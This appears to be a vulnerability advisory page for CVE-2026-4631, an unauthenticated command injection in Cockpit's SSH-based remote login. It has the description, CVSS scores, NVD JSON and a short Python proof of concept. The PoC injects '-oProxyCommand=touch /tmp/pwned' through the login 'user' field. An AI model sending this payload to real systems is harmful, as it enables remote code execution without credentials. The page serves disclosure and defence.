Security Vulnerability Report
中文
CVE-2026-4631 CVSS 9.8 CRITICAL

CVE-2026-4631

Published: 2026-04-07 17:16:38
Last Modified: 2026-04-10 21:16:28

Description

Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Cockpit (具体受影响版本请参考Red Hat安全通告 RHSA-2026:7381, RHSA-2026:7382等)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-4631 Proof of Concept # Target: Cockpit Web Service # Description: Injects malicious SSH options via the 'user' parameter to achieve RCE. target_url = "http://<target-ip>:9090/cockpit/login" # Payload using SSH -oProxyCommand to execute a shell command (e.g., creating a file) # The injection happens before authentication, so password can be arbitrary malicious_user = "-oProxyCommand=touch /tmp/pwned" payload = { "user": malicious_user, "password": "dummy", "host": "localhost" } try: response = requests.post(target_url, json=payload, timeout=10) print(f"Request sent with status code: {response.status_code}") print("Check /tmp/pwned on the target host to verify execution.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4631", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:38.010", "lastModified": "2026-04-10T21:16:28.053", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:7381", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7382", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7383", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7384", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-4631", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450246", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/10/5", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}